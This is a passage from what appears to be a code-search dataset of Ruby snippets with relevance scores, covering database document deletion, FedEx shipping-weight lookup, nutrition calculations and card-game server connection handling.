"806f20f4e4a52e6fc3cd2b26de3da4e9", "score": "0.5186386", "text": "def destroy\n deleted = count\n each do |doc|\n documents.delete_one(doc)\n doc.destroy\n end\n deleted\n end", "title": "" }, { "docid": "806f20f4e4a52e6fc3cd2b26de3da4e9", "score": "0.5186386", "text": "def destroy\n deleted = count\n each do |doc|\n documents.delete_one(doc)\n doc.destroy\n end\n deleted\n end", "title": "" }, { "docid": "7c6fa4ad207997266fd05b6f78637bf3", "score": "0.5183199", "text": "def save(bulk = false)\n raise ArgumentError, \"doc.database required for saving\" unless database\n result = database.save_doc self, bulk\n result['ok']\n end", "title": "" }, { "docid": "cda489f7e751f3a796789399a3fa222f", "score": "0.5182439", "text": "def test_delete_non_existent_document\n\n put_toto_doc; doc = get_toto_doc\n # just to get a valid _rev\n\n r = @s.delete('_id' => 'ned', 'type' => 'errors', '_rev' => doc['_rev'])\n\n assert_equal true, r\n end", "title": "" }, { "docid": "4328d64f78f12738b66c5cc2cce28e34", "score": "0.51767325", "text": "def delete_document(index, id)\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/#{CGI::escape(id)}\")\n req = Net::HTTP::Delete.new(uri)\n resp = run(uri, req)\n\n if resp.is_a? Net::HTTPNotFound\n @logger.debug(\"ELASTICSEARCH\") { \"Document #{id} doesn't exist in index #{index} and cannot be deleted.\" }\n false\n elsif resp.is_a? Net::HTTPSuccess\n @logger.debug(\"ELASTICSEARCH\") { \"Successfully deleted document #{id} in index #{index}\" }\n true\n else\n @logger.error(\"ELASTICSEARCH\") { \"Failed to delete document #{id} in index #{index}.\\nDELETE #{uri}\\nResponse: #{resp.code} #{resp.msg}\\n#{resp.body}\" }\n raise \"Failed to delete document #{id} in index #{index}\"\n end\n end", "title": "" }, { "docid": "937e17b5457e528219a6f3ca35ab8059", "score": "0.5176226", "text": "def delete_document(collection_id, doc_id)\n response = delete(\"curator/collections/#{collection_id}/documents/#{doc_id}\", {}.to_json, params_encoder, encode_json=true)\n response\n end", "title": "" }, { "docid": "ef28f63a8a3259ea9a3037218b78ae61", "score": "0.51759875", "text": "def delete!(defer = false)\n delete_logic( defer, false ) \n end", "title": "" }, { "docid": "eac006741e9b0e137c09d9fd97ac0cbb", "score": "0.51721877", "text": "def destroy\n if id\n before_destroy\n Database.remove(_table,{\"_id\"=>id})\n _doc.clear\n freeze\n after_destroy\n true\n else\n false\n end\n end", "title": "" }, { "docid": "7eaa1f6f255f5b74e8dceef1e9c7eeb9", "score": "0.5171366", "text": "def destroy_document\n es_client.delete document_path\n end", "title": "" }, { "docid": "37c0902b0588cb466a63739f9ced71c6", "score": "0.51682734", "text": "def atomic_deletes\n { atomic_delete_modifier => { atomic_path => _index ? { \"_id\" => _id } : true }}\n end", "title": "" }, { "docid": "b92449cdddc090b14cece3518ed355b1", "score": "0.51676124", "text": "def mongo_delete(my_key)\n records_deleted = 0\n @mongo[:proxy].find( { key: my_key } ).each do |doc|\n @mongo[:proxy].delete_one(doc)\n records_deleted += 1\n end\n records_deleted\n end", "title": "" }, { "docid": "7d42949799c09edd7e588668ada6f299", "score": "0.5166789", "text": "def delete\n run_hooks(:before, :delete)\n native_document.delete\n run_hooks(:after, :delete)\n end", "title": "" } ]
10fe9abebf9e9832c4fd1350f5df7ea9
Real weight from fedex tracking info in KG
[ { "docid": "89ec94cf0ae59d1081027f305502eab1", "score": "0.7150432", "text": "def real_weight(tracking_number)\n begin\n tracking_info = fedex.track(tracking_number: tracking_number)\n package_weight = tracking_info.first.details[:package_weight]\n package_weight[:units] == 'LB' ? package_weight[:value].to_f/2.2046 : package_weight[:value]\n rescue\n 0\n end\n end", "title": "" } ]
[ { "docid": "12d95524c5210648a6ccc0124a827cba", "score": "0.66552204", "text": "def weight\n return data.weight\n end", "title": "" }, { "docid": "ce18c96947e90198f539bb857adf598a", "score": "0.6425935", "text": "def weight()\n\t\t@pokemon_api[\"weight\"]\n\tend", "title": "" }, { "docid": "ab39aaa7dc9c5fff643a487ee592465b", "score": "0.63942415", "text": "def weight; end", "title": "" }, { "docid": "193b29af1ffbcc40096df45d3ff8ff42", "score": "0.6253148", "text": "def convert_lbs_to_kg(weight)\n weight * 0.45\nend", "title": "" }, { "docid": "d4aef2b56f6746b32786d0e1943c953f", "score": "0.6236136", "text": "def ship_fedex\n 0.0\n end", "title": "" }, { "docid": "7aefe0de96e3ad338fd5b42f1b021842", "score": "0.6227503", "text": "def og_prediction\n (1 + (0.035 * @efficiency * @grist_weight / @batch_volume)).round(3)\n end", "title": "" }, { "docid": "5e1249700eb242d2dbf79e4ca538b4f8", "score": "0.6162918", "text": "def weight_in_stones\n\t\t((@weight * 2.20462) / 14).to_i\n\tend", "title": "" }, { "docid": "b43ede6de09bb490e5b2866af1dc4b59", "score": "0.61601526", "text": "def product_weight\n price_calculator.weight\n end", "title": "" }, { "docid": "4de283d87b4861c51eda3a47dfe174aa", "score": "0.61472243", "text": "def weight\n return @weight\n end", "title": "" }, { "docid": "17c57e8dee004972d1be47875b453813", "score": "0.61244136", "text": "def query_all_weight\n d = 0 \n eqs = query_all_wearings\n p \"=>wearing=#{eqs.inspect}\"\n eqs.each {|k,v|\n d+= v.weight if v\n }\n return d\n end", "title": "" }, { "docid": "f85d7297e102f44b7e8ed3c0bdb4f3bc", "score": "0.60891455", "text": "def calc_total_weight\n 0\n end", "title": "" }, { "docid": "9ef4baed861563a6e82cc0a489af9186", "score": "0.6077928", "text": "def weight_in_words\n wt_kg = self.E16_01.to_f # in kg\n wt_lb = self.E16_88.to_f\n wt_in_lbs = wt_lb > 0 ? wt_lb : wt_kg*2.20462262\n \"%s lbs - %d kg\" % [((wt_in_lbs < 100) ? wt_in_lbs.round(1) : wt_in_lbs.round), wt_kg]\n end", "title": "" }, { "docid": "ed2e1dc8439b66c9b369228bab320d20", "score": "0.60650223", "text": "def google_merchant_shipping_weight\n return unless self.weight.present?\n weight_units = 'oz' # need a configuration parameter here\n format(\"%s %s\", self.weight, weight_units)\n end", "title": "" }, { "docid": "a93e8a0de65bf1480059ce6b55c8ea37", "score": "0.605908", "text": "def get_weight\n ((@contents[/(?<=(Shipping Weight:<\\/b>)\\s).*(?=\\s\\()/])[/\\d*.\\d*/]).to_f.round_to(2)\n\n end", "title": "" }, { "docid": "7fd60f659865e153b24344e3e0974c24", "score": "0.60474104", "text": "def weight\n 0\n end", "title": "" }, { "docid": "0b0ac2177fcae66f57441cfd95d31a96", "score": "0.60312146", "text": "def compute_weight object\n object.line_items.map { |li| (li.variant.weight || 0) * li.quantity }.sum\n end", "title": "" }, { "docid": "026b02c0ea60a7be5b396605e3434efe", "score": "0.60065526", "text": "def weight\n 2 # ounces\n end", "title": "" }, { "docid": "c3eb326ea3e65ce8fc8f4d46f55d97d7", "score": "0.5976063", "text": "def weight_lbl_value_187_workaround\n return \"pounds\" if RUBY_VERSION =~ /^1\\.8/\n @client.label_for_measurement(:weight)\n end", "title": "" }, { "docid": "56e82b53932bf6e304e6e0afc73839f2", "score": "0.59459233", "text": "def measurement_weight\n [\n ['ounce'],\n ['pounds']\n ]\n end", "title": "" }, { "docid": "61d6743e4a10caec586a8cea9f17816b", "score": "0.59393936", "text": "def price_per_g\n\t\tself['price'].to_f / self['unit_weight'].to_f\n\tend", "title": "" }, { "docid": "9c32494883b6379a6d2afe683b0112aa", "score": "0.59258926", "text": "def gain(feature)\r\n\t\treturn self.info - self.featureInfo(feature)\r\n\tend", "title": "" }, { "docid": "8cfcc010062d2d6a64895881ad291fc3", "score": "0.5918556", "text": "def max_weight_for_country(country)\n 2400 # 150 lbs\n end", "title": "" }, { "docid": "1ca82b92a3c243cad7a8035e8e0ebbd5", "score": "0.5832142", "text": "def prefer_metric_weight\n data[:prefer_metric_weight]\n end", "title": "" }, { "docid": "40ac68051629df04aaa48bae573d9daf", "score": "0.58158123", "text": "def max_weight_for_country(country)\n 0\n end", "title": "" }, { "docid": "40ac68051629df04aaa48bae573d9daf", "score": "0.58158123", "text": "def max_weight_for_country(country)\n 0\n end", "title": "" }, { "docid": "8f0112484880b3d46414d321220a321c", "score": "0.5808792", "text": "def weighted_score\n score * metric.weight\n end", "title": "" }, { "docid": "641d9c31f0abcb0af08078c84d93e737", "score": "0.576912", "text": "def currentWeight() weighins.last.weight end", "title": "" }, { "docid": "5cb492e2e2f34add70ba639591a8f4d9", "score": "0.575376", "text": "def weight(item, index)\n {\n tag_name: weight_tag_name(item),\n heading_relevance: weight_heading_relevance(item),\n position: index\n }\n end", "title": "" }, { "docid": "a4ad97e573c3827e6f2560e3fb8ba7a5", "score": "0.57500803", "text": "def max_weight_for_country(country)\n return WEIGHT_LIMITS[country.iso]\n end", "title": "" }, { "docid": "a4ad97e573c3827e6f2560e3fb8ba7a5", "score": "0.57500803", "text": "def max_weight_for_country(country)\n return WEIGHT_LIMITS[country.iso]\n end", "title": "" }, { "docid": "c1ed92acf7427da94fe481c8fc43c700", "score": "0.5745893", "text": "def mass(weight)\n return weight / FREE_FALL_ACCELERATION\n end", "title": "" }, { "docid": "7ac8f1554365fd08904a14e8e0f6d2c5", "score": "0.573982", "text": "def weight\n (kyc_level == 'any' ? 0 : 10) + (group == 'any' ? 0 : 1)\n end", "title": "" }, { "docid": "e7c724c1597c12b042c26632f0f4ad87", "score": "0.5730453", "text": "def measure() @measure ||= (nb_weight == 0.0 ? 0.0 : sum_weight / nb_weight) end", "title": "" }, { "docid": "903b3f423326f319d7e2e3e0d1ba7674", "score": "0.57287705", "text": "def shipping_cost_based_on_weight\n shipping_weight_price total_weight\n end", "title": "" }, { "docid": "6e314ae754c39afbc8a47a1698a7172d", "score": "0.56965554", "text": "def weight\n product_weight * quantity\n end", "title": "" }, { "docid": "6e314ae754c39afbc8a47a1698a7172d", "score": "0.56965554", "text": "def weight\n product_weight * quantity\n end", "title": "" }, { "docid": "9838d3ed08b79e2da4f71316afd5c052", "score": "0.5692743", "text": "def gei\r\n geis = 0\r\n @lista_alimentos.each do |i|\r\n geis += i.gases\r\n end\r\n return geis\r\n end", "title": "" }, { "docid": "80d03a9b7af1a818cd4c4fade96c34d8", "score": "0.5690592", "text": "def cost\n 0.89\n end", "title": "" }, { "docid": "5e77673c790bbdef1474ebddb77aa55c", "score": "0.5687008", "text": "def battery_weight; end", "title": "" }, { "docid": "04ebfcff000b033c6610b04a13427363", "score": "0.5678269", "text": "def calc_FPKM(weight_per_kb, total_num_read)\n\treturn weight_per_kb * 1_000_000 / total_num_read\nend", "title": "" }, { "docid": "1f2ab64ae53d31b66919dd8bb4f8278e", "score": "0.56745976", "text": "def eth_gain\n return ((eth_value - eth_initial) / eth_value) * 100\n end", "title": "" }, { "docid": "051fd78e5c94b4a8b5c82671987e406b", "score": "0.56664765", "text": "def kW\n self.roof_sq_feet.present? ? (self.roof_sq_feet * Building::WATTS_PER_SQ_FT) / 1000 : nil\n end", "title": "" }, { "docid": "e75f6e569d3710ecda26bbcc4544d129", "score": "0.5661765", "text": "def bmi\n ( weight.to_f / ( (height.to_f)**2 ) ) * 703.0\n end", "title": "" }, { "docid": "e31cab6476cf94dfd4c98bdd01b9bbcf", "score": "0.5659839", "text": "def weight\n return nil if mass.nil?\n mass / 1000.0\n end", "title": "" }, { "docid": "da936c345632637a47a998af720b4502", "score": "0.5648282", "text": "def convert_weight(weight)\n\t\tpounds = weight[2, 3] #Pulls the 3rd (X), 4th (Y) and 5th (Z) digit from the format 00XYZdddd where 'd' is the decimal portion of the eVS weight convention\n\t\tounces = ((('0.' + weight[5, 4]).to_f)*16).round(1).to_s\n\t\tounces = ounces.to_f.round().to_s.rjust(3, ' ') if ounces.size > 3\n\t\treturn pounds, ounces\n\tend", "title": "" }, { "docid": "8e85063059bf2b7665feddb368a222d1", "score": "0.56340086", "text": "def calculate_weight\n update_attribute :weight, votes.sum(:value)\n weight\n end", "title": "" }, { "docid": "b3c0319d7d83e0a769d61a5a2462ac74", "score": "0.5610587", "text": "def total_unit_weight\r\n\t\ttotal = self.unit_weight\r\n\r\n\t\tliovs = self.line_item_option_values\r\n\t\tliovs.each do |cur_liov|\r\n\t\t\ttotal += cur_liov.extra_weight\r\n\t\tend\r\n\r\n\t\ttotal\r\n\tend", "title": "" }, { "docid": "b3c0319d7d83e0a769d61a5a2462ac74", "score": "0.5610587", "text": "def total_unit_weight\r\n\t\ttotal = self.unit_weight\r\n\r\n\t\tliovs = self.line_item_option_values\r\n\t\tliovs.each do |cur_liov|\r\n\t\t\ttotal += cur_liov.extra_weight\r\n\t\tend\r\n\r\n\t\ttotal\r\n\tend", "title": "" }, { "docid": "0776cc66be0b4678c12ba53a1760a727", "score": "0.5605016", "text": "def weight\n @mass * @hopper.size\n end", "title": "" }, { "docid": "9badbde2614e58604bde0f12e6f3b4b1", "score": "0.55999136", "text": "def how_high\n energy * energy\nend", "title": "" }, { "docid": "45e28c2adc5d42dbc00cd1ea996234d1", "score": "0.5598826", "text": "def total_energy\n potential_energy * kinetic_energy\n end", "title": "" }, { "docid": "52bb507fb3b503358dea59f7a21a142a", "score": "0.5589383", "text": "def flamegraph_sample_rate; end", "title": "" }, { "docid": "51da60dbbf56593074251d9a4f0ae906", "score": "0.5585019", "text": "def print_weight\n\t\t\treturn @weights\n\t\tend", "title": "" }, { "docid": "1d4114d3c36f046e9b5534f4541b8fee", "score": "0.55810267", "text": "def weight\n if @weight\n @weight\n else\n @confines.length\n end\n end", "title": "" }, { "docid": "1d4114d3c36f046e9b5534f4541b8fee", "score": "0.55810267", "text": "def weight\n if @weight\n @weight\n else\n @confines.length\n end\n end", "title": "" }, { "docid": "a4d7f58f659a2183a9596331567c9c3b", "score": "0.55622804", "text": "def fuel_efficiency(attrs = {})\n d = estimate(:distance, attrs)\n f = estimate(:fuel_use, attrs)\n d / f\n end", "title": "" }, { "docid": "72e5d221eed2bcef3c24266ff2e8f0a0", "score": "0.55615354", "text": "def weighted_score\n return nil if self.points.nil?\n self.points * self.weighting / self.maximum_points\n end", "title": "" }, { "docid": "c35735b66bfad0b10696683d873f2496", "score": "0.5559092", "text": "def print_weight\n\t\treturn @weights\n\tend", "title": "" }, { "docid": "34d1694d165a36f4795e2f6703e5600b", "score": "0.5552322", "text": "def binding_energy\n nm = 217\n kinetic_energy = 2.0*10**-19\n\n meters = nm / 10**9\n\n puts \"meters is: #{meters} \"\n photon_energy = ($H * $C) / meters\n binding_energy = photon_energy - kinetic_energy\n puts \"photon_energy is: #{photon_energy} \"\n puts \"binding_energy is: #{binding_energy} \"\nend", "title": "" }, { "docid": "40dc00fd055239f38873bd2a2beaa0e1", "score": "0.5547425", "text": "def total_weight\r\n\t\t@items.inject(0.0) { |sum, i| sum + i.total_unit_weight * i.quantity }\r\n\tend", "title": "" }, { "docid": "05f18220acf59bedcc68f5d0e736fd74", "score": "0.5543099", "text": "def calc_total_weight_to_s\n calc_total_weight.to_s\n end", "title": "" }, { "docid": "ddb1376e905cb349a10b2d5f2f1af149", "score": "0.5536608", "text": "def effective_rate; end", "title": "" }, { "docid": "03d83cebe86ec3ca6844c02489f2d88a", "score": "0.55364776", "text": "def calc_total_weight_to_s\n NO_ROUTE_TEXT\n end", "title": "" }, { "docid": "255b7c4fcef4412df25c6fbe329df638", "score": "0.55346143", "text": "def getAveSpeed()\n @demandStat[\"speedStat\"][\"average\"]\n end", "title": "" }, { "docid": "21d928e6b1254b1e6acfc908dd757ec9", "score": "0.5531567", "text": "def weighting\n self.class.weighting\n end", "title": "" }, { "docid": "88f6c8311781618b8c2c157e09755eea", "score": "0.5527203", "text": "def weight\n\t\tweight = 0\n\t\tself.order_line_items.each do |item|\n\t\t\tweight += item.quantity * item.product.weight\n\t\tend\n\t\treturn weight\n\tend", "title": "" }, { "docid": "80e81361333044b6ecf4fa6b0d22572c", "score": "0.5523599", "text": "def metric\n weight = get_weight(\"kg\")\n height = get_height(\"m\")\n\n bmi = \"#{weight / (height * height)}\"\n puts \"Your BMI is: #{bmi}\"\n return bmi\nend", "title": "" }, { "docid": "05f44b35582508bd45a60efe4ded20ba", "score": "0.55173355", "text": "def weight\n puts 'used custom getter'\n 2\n end", "title": "" }, { "docid": "ee7695c72b8682b429dda50ff5b9cb9b", "score": "0.55035394", "text": "def total_weight\n line_items.map(&:weight).sum\n end", "title": "" }, { "docid": "5f4dededfaeaf3e22e4820f67f2c8572", "score": "0.5501618", "text": "def calculate_genre\n calculate_name_embedded_points +\n calculate_points_from_peers\n end", "title": "" }, { "docid": "46eb530260f6d1196cd6c82c3c73811d", "score": "0.54827785", "text": "def exposure\n market_value\n end", "title": "" }, { "docid": "cad5b6e6db1fb0999baeecf8cae3c570", "score": "0.54777163", "text": "def normalized_weighting\n BigDecimal(weight.to_s) / ReputationRule.sum('weight')\n end", "title": "" }, { "docid": "e9c0cd48aa9301afaa9823cb557b10d9", "score": "0.5468864", "text": "def current_power_usage\n begin\n power_being_used = 0.0\n\n (1..3).each do |ipdp|\n (1..4).each do |ap|\n power_reading = @xml.xpath(\"//XMLdata//info8_IPDP#{ipdp}_ap#{ap}\")[0].content.to_f\n power_being_used += power_reading #in Watts\n end\n end\n \n return power_being_used/1000.0 #in KW\n\n rescue #If something is wrong with the data\n return 0.0\n end\n end", "title": "" }, { "docid": "df3d92b7417067915b5e3d085fd2aced", "score": "0.54668313", "text": "def modeler_description\r\n return \"E+ measure to popolate the Kiva settings values\"\r\n end", "title": "" }, { "docid": "d1a9578d13e6e936c814f53bf30a9927", "score": "0.5465376", "text": "def kinetic_energy\n\t\t@vel[0].abs + @vel[1].abs + @vel[2].abs\n\tend", "title": "" }, { "docid": "b1fad4344d5bc056e364063e35802292", "score": "0.5463478", "text": "def usage_cost\n @attributes[:usage_cost]\n end", "title": "" }, { "docid": "df032939eb53e4253f91bf9a9ba5ce43", "score": "0.5451747", "text": "def totalGei()\n\t\t\t\t# geiPer1000g = geiPerKg / 1000\n\t\t\t\t# geiPerXgrams = (geiPer1000g * Xgrams) / 1000\n\n\t\t\t\tplato = alimentsList.head\n\t\t\t\tgrams = gramsList.head\n\n\t\t\t\ttotalGetC = 0.0\n\n\t\t\t\twhile plato != nil\n\t\t\t\t\tgeiPer1000g = plato.value.geiPerKg()\n\t\t\t\t\tgeiPerXgrams = (geiPer1000g * grams.value) / 1000\n\n\t\t\t\t\ttotalGetC += geiPerXgrams\n\n\t\t\t\t\tplato = plato.next\n\t\t\t\t\tgrams = grams.next\n\t\t\t\tend\n\n\t\t\t\treturn totalGetC\n\t\t\tend", "title": "" }, { "docid": "3f2b86f19b448d8b7013f2318dd069b9", "score": "0.5425715", "text": "def get_total_weight(order)\n return 0 unless order.present? and order.line_items.present?\n line_item_weights = order.line_items.map {|item| item.quantity * (item.variant.weight || Spree::EmsShipping::Config[:weight_if_nil])}\n if line_item_weights.include?(0)\n return 0\n else\n return line_item_weights.sum / 1000.00\n end\n end", "title": "" }, { "docid": "2c66ffd484fdf3dd97c4c934f98e901b", "score": "0.5424366", "text": "def precipIntensity(weather_info)\n\tweather_info[\"currently\"][\"precipIntensity\"]\nend", "title": "" }, { "docid": "61b6c93f219fd0bdd6987d4d73709e56", "score": "0.54236233", "text": "def total_weight(order)\n weight = 0\n order.line_items.each do |line_item|\n line_item.variant.weight ? weight += (line_item.quantity * line_item.variant.weight) : 0\n end\n weight\n end", "title": "" }, { "docid": "97204b9721a9c410bcb5d8d01c7ff1fc", "score": "0.5423401", "text": "def character_weight\n total_weight = 0\n items = Inventory.where(character_id: self.id)\n items.each do |i|\n x = Equipment.find(i.equipment_id).weight\n total_weight += x if x \n end\n total_weight\n end", "title": "" }, { "docid": "fd1f0b1089ca0148c162d945d3959f58", "score": "0.541778", "text": "def cost\n 0.99\n end", "title": "" }, { "docid": "fe7077f0b4508db5de6426f5a20235ba", "score": "0.5415959", "text": "def calcWeightAndValue(possible_solution)\r\n \r\n @sum_weight=0\r\n @sum_value=0\r\n \r\n (0...@optionSize).each do |idx|\r\n if possible_solution.m_Data[idx] \r\n\r\n @sum_weight += @itemWeight[idx].to_f\r\n @sum_value += @itemValue[idx].to_f\r\n\r\n end \r\n end\r\n \r\n end", "title": "" }, { "docid": "c9da84474334db96a140e8cf9829303d", "score": "0.5409802", "text": "def convert_lbs_to_kg(lbs_weight, kg_conversion)\n lbs_weight * kg_conversion\nend", "title": "" }, { "docid": "ce6393816e6e49119c91bd5f60f2d849", "score": "0.54019827", "text": "def modeler_description\n return 'Calculate thermal capacitance and UA for surfaces, furniture, and spaces.'\n end", "title": "" }, { "docid": "e1128ca9a09fc0de9b43380f90a4f69d", "score": "0.5397358", "text": "def kmh\n values = speed_values\n return nil unless values and values.any?\n \n avg = sum = 0.0\n values.each { |value| sum += value.to_f }\n avg = sum / values.size\n end", "title": "" }, { "docid": "8690dd258ff77e1a4dcdd03ff17a0e0c", "score": "0.5389523", "text": "def modeler_description\n 'This measure changes the Layer 0 properties of Thickness, Density, Thermal Absorptance, Solar Absorptance, Visible Absoptance, Thermal Conductivity, Specific Heat.'\n end", "title": "" }, { "docid": "4ba564aecf385bb0c6ac2af1111ca9f9", "score": "0.5387458", "text": "def amount\n recognition.badge.points\n end", "title": "" }, { "docid": "9b3148931ad1afb9ae00609d17bba2aa", "score": "0.53835773", "text": "def boost\n 1.0 #self.rating / 2.0\n end", "title": "" }, { "docid": "c110f89f854a3044506d320dcc8232cc", "score": "0.5381208", "text": "def total_weight(dimensions)\n volumetric_weight = (dimensions['width'] * dimensions['height'] * dimensions['length']) / 5000\n volumetric_weight > dimensions['weight'] ? volumetric_weight : dimensions['weight']\n end", "title": "" }, { "docid": "96df1aadf970313a36220a672e33e286", "score": "0.53791744", "text": "def results(values, weight)\n gpa = weight.reduce(:+).to_f / values.reduce(:+)\n\n puts $divide\n puts \"\\n#{$first.capitalize} #{$last.capitalize}, your GPA is #{gpa.to_s} \\n\\n\"\nend", "title": "" }, { "docid": "3616ea0e3f87826c1989a9c29bb044ab", "score": "0.5371822", "text": "def volume_weight(dimension: nil)\n factor = 5000\n volume_weight = Float((dimension.length * dimension.width * dimension.height)) / Float(factor)\n\n return volume_weight\n end", "title": "" }, { "docid": "2124d389a8bc7f91a68470d0b1243490", "score": "0.5367512", "text": "def weight\n if witness?\n serialize_old_format.bytesize * (WITNESS_SCALE_FACTOR - 1) + serialize_witness_format.bytesize\n else\n serialize_old_format.bytesize * WITNESS_SCALE_FACTOR\n end\n end", "title": "" }, { "docid": "8c1ae48b65c1bfc482c3b94ed0d3fff6", "score": "0.5364193", "text": "def calculate_bmi weight, height\n (weight.to_f / (height.to_f * height.to_f)) * 703\nend", "title": "" }, { "docid": "bf41db1bb5d0d08d90e8ed277c1a1a20", "score": "0.5364056", "text": "def international(weight, to_country_code)\n region = region_of_country(to_country_code)\n rate = 0\n rate += international_rate(weight, region) if weight > 0\n rate + international_extra_charges\n end", "title": "" }, { "docid": "b3a08f232efc95d67fda7b03aa20384a", "score": "0.5361367", "text": "def compute_score\n\n total_score=0\n total_weights=0\n self.class.field_mappings.each do |field_name,field_config|\n if !field_config[:weight].blank?\n total_score += field_config[:weight].to_f * (self.class.blank_value?(self.send(field_name)) ? 0 : 1) # if the field is blank, it is a 0 regardless of weight, otherwise it is a 1 times its weight\n total_weights += field_config[:weight].to_f\n end\n end\n\n return ((total_score/total_weights)*100).ceil\n\n end", "title": "" }, { "docid": "082b32b6a13fbcc18fff7229ad30e476", "score": "0.53544194", "text": "def ener_kj \n\t\t@ener_kj = @saturadas * 37 + @monoinsaturadas * 37 + @polinsaturadas * 37 + @azucares * 17 + @polialcoles * 10 + @almidon * 17 + @fibra * 8 + @proteinas * 17 + @sal * 25\n\t\treturn @ener_kj\n\tend", "title": "" }, { "docid": "5a19bbad9064b3692a3869d1245448b3", "score": "0.5352219", "text": "def compute_weighted_overall_score\n (Player::Feedback::FIT_WEIGHT * avg_fit_score +\n Player::Feedback::PUNC_WEIGHT * avg_punctuality_score +\n Player::Feedback::SKILL_WEIGHT * avg_skill_score +\n Player::Feedback::PERS_WEIGHT * avg_personality_score)\n end", "title": "" }, { "docid": "b15e51b1efdc10d7e0c28e17baeff4e7", "score": "0.5352004", "text": "def volume_weight(dimension: nil)\n if self.custom_volume_weight_enabled && self.volume_weight_factor\n factor = self.volume_weight_factor\n volume_weight = Float((dimension.length * dimension.width * dimension.height)) / Float(factor)\n\n return volume_weight\n else\n return 0\n end\n end", "title": "" }, { "docid": "55a6142a65ccd8c89083ac31d58d2131", "score": "0.5347381", "text": "def raw_gpa\n tot_grade_points/tot_graded_attmp rescue 0.0/0.0\n end", "title": "" } ]
28e22fcc4cfc742d68920dff5b61f02c
Create a new pending game conn: user connection info:
[ { "docid": "6967c7996890f790b1f6aa5bf633385b", "score": "0.72490335", "text": "def pending_game_create2(conn, info)\n num_clients = @logged_in_list.size\n @pg_list.pending_game_create2(conn, info, num_clients, conn.user_name, conn.user_id, -1)\n end", "title": "" } ]
[ { "docid": "fb85b0587ac3111423a122b532b11dfd", "score": "0.67524046", "text": "def create_game(user_name, player_count, game_type)\n server = get_open_server\n @open_game_list.push({:id => gen_game_id, :user1 => user_name, :game_type => game_type, :server => server})\n server.proxy.create_game(user_name, last_id, player_count, game_type)\n\n return server.hostname, server.port, last_id\n end", "title": "" }, { "docid": "3241bba2976d3748b5fe07ce2cd23ba2", "score": "0.6550592", "text": "def initialize(game,options)\n # the creator of the pending game, game owner\n #@user_name = user\n # game name as string,\n @creator_conn = nil\n @game = game \n @options = options\n # when a pg is created an acceptd, uses field below to manage the game\n # Interface adapter between server socket and core game \n # Creato in pg_list e assegnato via accessor (vedi dir nal_games)\n @nal_server = nil\n # List of all players that have joined the game, array of user names\n @players = {}\n # tender element. It is an user_name that wait a confirm from game owner \n # to join the game\n @tender = {}\n # pin private, when the game is crated\n @pin_originator = nil\n # pin private, when the game is joined\n @pin_given = {}\n # Ranking type game\n @scored_game = true\n # gender of creator\n @creator_gender = ''\n # ranking current score of the creator\n @creator_score = 0\n # user type that create the game (:user, :computer, :female)\n @creator_user_type = :user\n # logger\n @log = Log4r::Logger[\"serv_main\"] \n end", "title": "" }, { "docid": "1f04e52d87b993dbede087bd1833851c", "score": "0.6528395", "text": "def create_user_one_connection(options, params:, current_user:, **)\n conn_params = {\n user_id: current_user.id,\n connected_to_id: params[:connected_to_id],\n status: 'requested'\n }\n options[:user] = Create.(\n params: conn_params, current_user: current_user\n )\n options[:user].success?\n end", "title": "" }, { "docid": "87cf78054ba29f0c7786094f0f2c035b", "score": "0.65087324", "text": "def create_with(user, game, remote_ip, session_id, status)\n create(\n :user_id => user.id,\n :game_id => game.id,\n :session_id => session_id,\n :remote_ip => remote_ip,\n :status => status\n )\n end", "title": "" }, { "docid": "cd17fd26d0ab56136b77c301b07ffba4", "score": "0.62963", "text": "def add_conn( conn )\n @clients[conn.hash] = conn\n log \"Player online #{@clients.size}\" \n end", "title": "" }, { "docid": "857784f1061379a5c36757f683b06ffd", "score": "0.61256856", "text": "def new_client( io )\n new_user = \"user#{@id}\"\n @clients[ new_user ] = io\n @id += 1\n logger \"New connection from #{io.peeraddr[2]}. Assigned #{new_user}\"\n io.puts \"Welcome. Assigned nick - #{new_user}.\\nEnter: /help for Help.\"\n end", "title": "" }, { "docid": "e198563426dd46aa900e1fdbdfe6d500", "score": "0.61167794", "text": "def add_player(conn)\n if conn\n @players[conn.user_name] = conn\n end\n end", "title": "" }, { "docid": "bcccf207a01655022a251eed08742c74", "score": "0.595814", "text": "def bt_create_game(sender, sel, ptr)\n supp_games = @cup_gui.get_supported_games\n # uncomment below if you want to test more games \n #supp_games = {\n #:mariazza_game => {:name => \"Mariazza\",\n #:opt =>{:target_points_segno => 41, :num_segni_match => 1}\n #},\n #:briscola_game => {:name => \"Briscola\",\n #:opt =>{:target_points_segno => 61, :num_segni_match => 2}\n #}\n #}\n dlg = DlgCreatePgGame.new(@cup_gui, @cup_gui,supp_games)\n if dlg.execute != 0\n info = dlg.get_create_options\n @log.debug \"pg_create: #{info}\"\n if dlg.is_private_game?\n pin = dlg.get_pin\n @log.debug \"Private game with pin #{pin}\" \n @cup_gui.log_sometext(\"Creato un gioco privato con pin: #{pin}\\n\") \n end\n @net_controller.send_create_pg2(info) \n end\n \n end", "title": "" }, { "docid": "1cc09d0baa5aa34729383a220789061c", "score": "0.586638", "text": "def auto_create_new_pg_game(opt)\n unless opt[:auto_game_enabled]\n # no auto stuff enabled\n return\n end\n supp_games = @cup_gui.get_supported_games\n game_det = supp_games[opt[:current_game]]\n if game_det\n info = {\n :game => game_det[:name],\n :prive => {:val => false, :pin => \"\" },\n :class => true,\n :opt_game => game_det[:opt]\n }\n @net_controller.send_create_pg2(info) \n else\n @log.warn \"auto_create_new_game game not recognized\"\n end\n end", "title": "" }, { "docid": "597cfc285513d9352896a494bda3f3d1", "score": "0.58496964", "text": "def handle_connection_stage(conn, opts={})\n\t\tcreate_session(conn, opts)\n\tend", "title": "" }, { "docid": "0b6e64134e261606e42246c62191b735", "score": "0.58396006", "text": "def create_connection()\n @create_connection.call()\n end", "title": "" }, { "docid": "d2a5007226a205714bbc70628cb21949", "score": "0.58185834", "text": "def test_pending_game_create\n # set the custom logger\n io_fake = FakeIO.new(1,'w')\n IOOutputter.new('serv_main', io_fake)\n Log4r::Logger['serv_main'].add 'serv_main'\n @log.outputters << Outputter.stdout\n # pending game create\n myconn = FakeUserConn.new\n @server.pending_games_req_list(myconn)\n msg_det = 'Spazzino,target_points=21;gioco_private=true'\n @server.pending_game_create(myconn, msg_det)\n ix_vor_last = myconn.data_sent.size - 2\n assert_match(/PGADD:1,Tontouser,Spazzino,<vittoria ai 21>/, myconn.data_sent[ix_vor_last] )\n assert_match(/INFO:Richiesta di partita creata con indice 1, vista da 0 utenti./, myconn.last_data_sent)\n end", "title": "" 